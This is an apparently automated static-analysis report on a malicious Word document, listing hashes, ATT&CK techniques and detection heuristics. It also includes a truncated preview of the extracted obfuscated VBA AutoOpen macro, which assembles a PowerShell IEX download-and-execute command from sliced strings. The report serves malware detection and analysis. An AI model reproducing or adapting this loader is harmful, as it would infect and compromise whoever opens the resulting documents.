Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 066ac1c31595cbbc…

MALICIOUS

Office (OLE)

128.0 KB Created: 2018-05-22 10:53:00 Authoring application: Microsoft Office Word First seen: 2018-09-04
MD5: 5b4f8836dfcbc5d708078caaea6e4b29 SHA-1: 3a07e3ff6451079fd1e974e8cb7e94e3f5e145a7 SHA-256: 066ac1c31595cbbcba60ba80ec0d8ff4ef29ad665d2e082953d8b1d8cd16a02e
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.001 PowerShell T1204.002 Malicious File

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro is triggered upon opening, and it attempts to execute a PowerShell command. This command is constructed by concatenating strings and appears to download and execute a second-stage payload from a URL, which is likely malicious.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 143421 bytes
SHA-256: 0be2a90d0e35330ab304f7571c4f2c79f527e15c31ceed3ee5d4c3b17f5074c0
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jQVzALI"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Function uYCTrok()

On Error Resume Next
DrkBEVYv = (zVijGzSWC - CDbl(554336) + OBIlir + Fix(DAPhcIRMYKW / CLng(644221 * Sqr(YMcnGk))) - 5189 / Sin(atFvpwoUIXv - FJHRX - 672561 + CLng(wXNMUiowK)) * 739023 * Fix(554336))
zGzbMq = "viiqkfNJxUOk4& ((VArIFba' V1W4Vowershell  IEx( (VzzYORMg67JJALnszy89pfZ10AJyS3Mgw"
rrkIcU = CStr(Left(Right(zGzbMq, 50), 17)) + CStr(Left(Right(zGzbMq, 57), 2)) + CStr(Left(Right(zGzbMq, 68), 8))

ERzmSDYK = "viiqkfNr*aWk4dALzABLe aWf*M1W4VPcvNVlyo3fpmYE"
hKAZijX = CStr(Left(Right(ERzmSDYK, 28), 10)) + Left(Right(ERzmSDYK, 32), 1) + CStr(Left(Right(ERzmSDYK, 38), 4))

VjFZdj = "RBviiqkfNJxUOf).NAme[3'FbaXRV1W4,1cv"
niRhZZF = Left(Right(VjFZdj, 23), 8) + CStr(Left(Right(VjFZdj, 15), 1)) + CStr(Left(Right(VjFZdj, 4), 2)) + CStr(Left(Right(VjFZdj, 14), 1))

twnbiwcrFDH = Chr(43)
jlvrKpsl = (hJTfbsUzz - CDbl(681017) + iWBMhRLm + Fix(wiiMni / CLng(838516 * Sqr(tCwYCJRm))) - 49229 / Sin(FIHZVN - zEnChZ - 70080 + CLng(awCfpCD)) * 456389 * Fix(681017))
aWrdYtkA = "iqkfNJxUOf)CALzpEzoF'1,2]-JOInaWfVlyo(fpmYErUuVzaWORMg"
UNAGbMzn = Left(Right(aWrdYtkA, 34), 12) + Left(Right(aWrdYtkA, 22), 1) + Left(Right(aWrdYtkA, 6), 2) + Left(Right(aWrdYtkA, 45), 2) + Left(Right(aWrdYtkA, 17), 1)

jPzUbp = "RBviiqkfNJxUO(aWfD47nsaFbaXRV1W4adcv"
ibUjfTF = Left(Right(jPzUbp, 23), 8) + CStr(Left(Right(jPzUbp, 15), 1)) + CStr(Left(Right(jPzUbp, 4), 2)) + CStr(Left(Right(jPzUbp, 14), 1))

SnXbkohu = "LzNaWfvii"
kRfXk = CStr(Left(Right(SnXbkohu, 6), 2)) + CStr(Left(Right(SnXbkohu, 4), 1))

WChNJv = Chr(43)
GZdPNiQmkbs = "dRBviiWfaWfsaOk4CALzp"
TKoDEvbQM = Left(Right(GZdPNiQmkbs, 13), 5) + CStr(Left(Right(GZdPNiQmkbs, 15), 1)) + CStr(Left(Right(GZdPNiQmkbs, 14), 1))

XvdOswp = Chr(43)
SwNdU = "dRBviiWfaWfdaOk4CALzp"
suqFQwCkAi = Left(Right(SwNdU, 13), 5) + CStr(Left(Right(SwNdU, 15), 1)) + CStr(Left(Right(SwNdU, 14), 1))

tzori = Chr(43)
tOtpB = (uwMSSjD - CDbl(553836) + zaSMNTPAhQr + Fix(iCAABaXq / CLng(518216 * Sqr(BXqbGdhdFh))) - 474816 / Sin(ZKwCkfKz - tjdwbqswMQ - 585953 + CLng(LMHzCclHph)) * 809822 * Fix(553836))
EPZDR = "RBviiqkfNJxUOaWf = &(BfFbaXRV1W4aWcv"
thfjaiFiTA = Left(Right(EPZDR, 23), 8) + CStr(Left(Right(EPZDR, 15), 1)) + CStr(Left(Right(EPZDR, 4), 2)) + CStr(Left(Right(EPZDR, 14), 1))

uHBBmn = Chr(43)
zmDvi = "LzNaW'vii"
IlidwGzDMk = CStr(Left(Right(zmDvi, 6), 2)) + CStr(Left(Right(zmDvi, 4), 1))

wPuzf = Chr(43)
tihRCRDoFY = "viiqkfNJxUO'fujnBuazoFbaXRVWW4"
StCiIvG = CStr(Left(Right(tihRCRDoFY, 19), 7)) + Left(Right(tihRCRDoFY, 12), 1) + CStr(Left(Right(tihRCRDoFY, 3), 1)) + CStr(Left(Right(tihRCRDoFY, 25), 1))

PFLjJGkXHBY = Chr(43)
qYjhAnWCiPa = (tZZGhT - CDbl(493373) + HrZYbil + Fix(EiXrmw / CLng(695218 * Sqr(hiiDZ))) - 449765 / Sin(APrSucbXDZB - SDIQAFCO - 343842 + CLng(SYGYoLrr)) * 411792 * Fix(493373))
mFcWKM = "LzNdaWfjiqkf"
lwFrb = Left(Right(mFcWKM, 8), 3) + Left(Right(mFcWKM, 5), 1)

RwEDmiPm = Chr(43)
tqAaz = "LzNaWfvii"
NVqaCM = CStr(Left(Right(tqAaz, 6), 2)) + CStr(Left(Right(tqAaz, 4), 1))

OQTlOjkML = Chr(43)
wNktD = (oXpJiOrsL - CDbl(841761) + zuphtWakSQ + Fix(aWrqiwKM / CLng(359962 * Sqr(EZokqD))) - 609886 / Sin(qjfZviIzc - DIcnAam - 526574 + CLng(NBwSE)) * 382000 * Fix(841761))
QAhfOPPY = "LzNaW'vii"
zaCanq = CStr(Left(Right(QAhfOPPY, 6), 2)) + CStr(Left(Right(QAhfOPPY, 4), 1))

cluKwQZWk = Chr(43)
MSwzPKBWD = "viiqffNJx'fBujaLzpEzoWba"
idcuK = CStr(Left(Right(MSwzPKBWD, 15), 5)) + Left(Right(MSwzPKBWD, 10), 1) + CStr(Left(Right(MSwzPKBWD, 3), 1)) + Left(Right(MSwzPKBWD, 20), 1)

LQmHHISbDQ = Chr(43)
WPsjw = "dRBviiWfaWfeaOk4CALzp"
UIvDiCwnKR = Left(Right(WPsjw, 13), 5) + CStr(Left(Right(WPsjw, 15), 1)) + CStr(Left(Right(WPsjw, 14), 1))

wWnMBnOZwS = Chr(43)
DiGTOonnYtS = "LzNaW'vii"
lrJAiXTTTG = CStr(Left(Right(DiGTOonnYtS, 6), 2)) + CStr(Left(Ri
... (truncated)